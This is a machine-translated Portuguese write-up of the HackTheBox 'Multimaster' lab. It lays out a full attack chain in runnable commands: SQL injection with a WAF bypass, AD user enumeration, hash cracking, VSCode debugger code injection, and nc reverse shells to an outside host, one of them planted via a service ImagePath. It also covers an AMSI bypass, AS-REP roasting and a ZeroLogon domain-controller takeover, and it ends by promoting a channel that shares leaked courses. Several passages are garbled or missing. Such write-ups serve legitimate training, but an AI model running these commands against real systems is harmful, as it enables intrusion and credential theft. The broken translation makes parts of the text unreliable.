HackTheBox. Passo a passo Multimaster. Burp + Sqlmap. Usuários AD do MSSQL. Vulnerabilidade no VSCode. AMSI bypass e CVE ZeroLogon



Oi, Ralph está com você. Continuo publicando soluções enviadas para finalização de máquinas do site HackTheBox .



Há muito neste artigo. Vamos ver como combinar Burp Suite e sqlmap para conveniência, aprender como obter usuários de domínio com acesso a MSSQL, explorar uma vulnerabilidade no Visual Studio Code, bloquear AMSI, executar AS-REP Roasting para obter credenciais e aumentar os privilégios do grupo Operadores de servidor. E como uma demonstração da nova vulnerabilidade ZeroLogon, capturaremos a mesma máquina de uma maneira diferente em menos de 5 minutos.



A conexão com o laboratório é via VPN. É recomendável não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem algo sobre segurança da informação.



Informação organizacional
, , Telegram . , , .



. , - , .



Recon



Esta máquina tem um endereço IP de 10.10.10.179, que adicionei a / etc / hosts.



10.10.10.179 	multimaster.htb


A primeira etapa é verificar as portas abertas. Visto que escanear todas as portas com o nmap leva muito tempo, primeiro o farei usando masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.179  --rate=500






Muitas portas estão abertas no host. Agora vamos examiná-los com o nmap para filtrar e selecionar os que precisamos.

nmap multimaster.htb -p593,49674,139,5985,49744,445,636,80,49667,3268,464,389,53,135,88,9389,3269,49676,49666,49699,49675,3389






Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.



nmap -A multimaster.htb -p593,139,5985,445,636,80,3268,464,389,53,135,88,9389,3269,3389






Com SMB e LDAP nada pode ser feito, vamos dar uma olhada na web.







O site possui autorização, bem como formulário de busca.







Além disso, a pesquisa funciona por entrada.







Portanto, podemos assumir que o operador LIKE é usado na consulta SQL. Portanto, você pode tentar exibir todos os registros.







Acontece que temos injeção SQL.







Mas pelo menos algo não deu certo. Aparentemente, WAF é usado.







Mas acabou sendo contornado usando a codificação Unicode.







E encontramos o número de colunas.











Então a injeção é 100%.



Suite Sqlmap + Burp



Para trabalhar facilmente com o banco de dados, usamos sqlmap. Conhecemos o método de codificação e o SGBD - vamos refletir isso nos parâmetros. Também salvaremos a solicitação do Burp Suite em um arquivo e especificaremos seu sqlmap. Vamos definir o usuário sob o qual as solicitações são feitas.



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --current-user






E, infelizmente, obtivemos a mesma resposta sem usar codificação. Vamos apontar o Burp como um proxy para sqlmap. E para não perder tempo, indicaremos a técnica de injeção de código baseada em Union (parâmetro U).



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --current-user


Interceptamos solicitações no arroto e vemos uma exibição ligeiramente diferente da codificação.







Vamos verificar se funciona. Vamos codificar a carga que já conhecemos dessa forma.











E não funciona. Portanto, precisamos alterar a exibição da codificação. Isso pode ser feito usando Burp. Vamos para a guia Proxy -> opções e para a seção Corresponder e substituir.







Vamos adicionar uma regra que alterará% u para \ u no corpo da solicitação.







E certifique-se de que está ativo.







Agora vamos executar o sqlmap novamente.



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --random-agent --current-user


No Burp, vemos uma solicitação já corrigida.







Permita a transmissão para todas as solicitações. E no sqlmap obtemos o nome do usuário atual.







Mas novamente vemos um erro. Aparentemente WAF. Vamos adicionar um atraso de 3 segundos e descobrir os privilégios.



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --random-agent --privileges






Não há nada que possamos fazer. Vamos descobrir os bancos de dados.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 --dbs






Vamos ver as tabelas do Hub_DB.



sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB --tables






Exatamente o que é necessário. Tabela de logins. Vamos extrair todos os dados dele.

sqlmap -r r.req --tamper=charunicodeencode --dbms=mssql --technique=U -proxy http://127.0.0.1:8080 --delay=3 -D Hub_DB -T Logins --dump






E então, temos usuários e hashes de senha. Todos os 4 hashes diferentes estão presentes aqui. Vamos descobrir quais.







Agora descobriremos os modos hashcat que iremos iterar.







Existem três modos no total. E usando o último, quebramos três hashes.



hashcat -a 0 -m 17900 hashes.txt ./tools/rockyou.txt






Mas esses hashes não são adequados para SMB. Cavando mais longe.



DO UTILIZADOR



O fato de podermos obter dados do MSSQL nos dá a capacidade de obter usuários de domínio. Agora vou mostrar como fazer. Em primeiro lugar, precisamos obter o nome de domínio.











E agora precisamos descobrir seu SID. Podemos obter o SID do domínio aprendendo o SID de qualquer objeto de domínio e descartando o RID dele. Qualquer domínio tem um grupo Admins. Do Domínio. Isso nos permite pré-existir no objeto de domínio. Vamos descobrir seu SID.











Portanto, está codificado. Para exibi-lo normalmente, use a função sys.fn_varbintohexstr.











E obtemos o SID deste objeto. Além disso, a ideia é esta: obtemos o SID do domínio e, substituindo os diferentes RIDs, obtemos os nomes de usuário pelo SID existente. Por exemplo, o RID do administrador é 500.



Do SID recebido, pegue os primeiros 48 bytes.







E acrescente ao final, RID - 500 (não se esqueça de virar).











E agora vamos obter o nome da conta pelo nosso SID.











Já que isso funciona, vamos obter os objetos de domínio. Para iteração, eu uso Burp Intruder.











Depois de enviar uma solicitação ao Intruder, alocamos nossas variáveis ​​4 bytes. Em seguida, você precisa gerar essas variáveis ​​de 4 bytes.



for i in range(1100, 9100,1000):
    for j in range(50):
        h = hex(i+j)[2:].rjust(4,'0')
        SID = ""
        for c in (h[2:]+h[:2]):
            SID += "0x" + hex(ord(c))[2:]
        print(SID)


Salvamos o resultado em um arquivo e o apontamos para Burp.







Além disso, desative a codificação de URL e substitua todos os 0x por \ u00.







Lembre-se do WAF, colocamos um stream ee o atraso entre as solicitações.







Lançamos um ataque, classificamos pela duração da resposta e observamos muitos objetos.







Selecione todos os usuários e salve em arquivo. Também temos três senhas. Repetimos no SMB e encontramos o par correto.







Conectamos ao WinRM e estamos no sistema.







USUÁRIO2



Uma vez no sistema, conduzimos o reconhecimento. Estou fazendo isso usando winPEAS. Nós o carregamos na máquina e o lançamos. Eles não encontraram nada de interessante lá.







Portanto, vamos pelo caminho difícil. Precisamos obter o máximo possível das credenciais. Vamos começar com os nomes de usuário que estão no sistema.







Nós salvamos tudo para nós mesmos em um arquivo. Mas onde podemos encontrar qualquer senha? O servidor usa bancos de dados e você precisa de uma senha para se conectar a ele. Vamos tentar entender.







Mas não temos direitos sobre o diretório do servidor web. Sem saber o que fazer, a posição do software utilizado no servidor não foi encerrada na minha lista. Vejamos a lista de processos.







E o VSCode chama a atenção.











Portanto, o Visual Studio Code 1.37.1 está sendo executado no servidor. E tem vulnerabilidades que permitem a execução de código!







Como se segue a partir daqui :

Existe uma vulnerabilidade de elevação de privilégio no Visual Studio Code quando ele expõe um ouvinte de depuração a usuários de um computador local.


Um invasor pode injetar um código arbitrário para ser executado no contexto do usuário atual para fazer isso, ele deve determinar em qual porta o Visual Studio Code está escutando. Podemos usar cefdebug para se conectar à porta VSCode .







Vamos encontrar a porta de escuta.







Ótimo, esse porto existe. Vamos executar o código no contexto do processo VSCode. Vamos executar um shell de backconnect usando nc.



.\cefdebug.exe --url ws://127.0.0.1:43819/da4e5078-2eaf-4b30-bac1-96370f4d2b3d --code "process.mainModule.require('child_process').exec(cmd.exe /c C:\Temp\nc64.exe -e cmd.exe 10.10.15.60 4321)"






E vemos uma conexão bem-sucedida.







Vamos ao nosso diretório.











De tudo o que foi apresentado, a API é de maior interesse. Vamos fazer o download.











Fui ao Windows e verifiquei o que a biblioteca estava escrita.







Isso é C #, para que possamos descompilar o projeto. Estou usando o dnSpy.







E no código-fonte encontramos a senha. Mas para descobrir que usuário ele é, usamos logins de força bruta (Password Spraying). Estou usando o CrackMapExec.



cme smb multimaster.htb -u users.txt -p "D3veL0pM3nT!"






E pegamos mais um usuário







USER3



Ao tentar baixar e usar qualquer ferramenta de inteligência, somos bloqueados pelo AMSI. Vamos corrigir isso com Invoke-AlokS-AvBypass .







Agora carregamos o sharphound com segurança no host.







E depois de começar, observamos o arquivo.







Agora nós o baixamos para o host local e o colocamos no sabujo. Em seguida, nas consultas, selecione os caminhos mais curtos para os destinos de alto valor.







Explorando o gráfico, determinamos a relação entre o usuário sob nosso controle e outro usuário do domínio.







Vamos obter as informações de comunicação.











Assim, podemos obter um hash da senha do usuário (o próprio processo já foi descrito em dois writeups semelhantes). Nós ativamos a propriedade - não requer pré-autenticação Kerberos.







E iremos executar o pedido.







Copie o hash e quebre-o usando hashcat.



hashcat -a 0 -m 18200 krb_hashes.txt ./tools/rockyou.txt






Pegamos a senha do usuário. E nós conseguimos passar por baixo disso.







RAIZ



Após recebermos informações sobre o usuário, percebemos que ele faz parte do grupo Operadores de Servidores.







Os membros deste grupo podem configurar e executar serviços (e serviços no Windows executados em nome de SYSTEM). Isso geralmente é feito por meio do SensorDataService.





Vamos mudar o comando let para executável para backconnect usando o netcat.



reg add "HKLM\System\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\nc64.exe -e powershell 10.10.15.60 4321" /f






E depois de iniciar o serviço, observamos uma conexão na porta 4321.



sc.exe start SensorDataService






Somos o SISTEMA.



CVE-2020-1472



E agora, para demonstração, vamos tentar capturar imediatamente um controlador de domínio, mesmo sem um ponto de entrada e suporte. Para fazer isso, usamos a vulnerabilidade ZeroLogon recentemente notória (CVE-2020-1472).



Basicamente, a vulnerabilidade do CVE-2020-1472 reside na imperfeição do esquema de autenticação criptográfica do protocolo remoto Netlogon. Este protocolo é usado para autenticar usuários e máquinas em redes baseadas em domínio. Em particular, o Netlogon também é usado para atualizar remotamente as senhas do computador. A vulnerabilidade pode permitir que um invasor se faça passar por um computador cliente e redefina uma senha de controlador de domínio.

Para o teste, vamos tentar solicitar a replicação de credenciais com hash 31d6cfe0d16ae931b73c59d7e0c089c0 (senha vazia).



secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'






Agora vamos usar o exploit .



CVE-2020-1472.py MULTIMASTER MULTIMASTER$ 10.10.10.179






Fomos informados de que o ataque foi bem-sucedido. Solicitando replicação de credencial novamente. E nós os pegamos.



secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'MEGACORP/MULTIMASTER$@10.10.10.179'






E com o hash de administrador, podemos nos conectar via WinRM.







Em particular, é assim que você pode capturar um controlador de domínio com base em:



  • todas as versões do Windows Server 2019, Windows Server 2016;
  • Todas as variantes do Windows Server, versão 1909
  • Windows Server, versão 1903
  • Windows Server, versão 1809 (Datacenter, Standard)
  • Windows Server 2012 R2
  • Windows Server 2012
  • Windows Server 2008 R2 Service Pack 1.


Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade, na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.



All Articles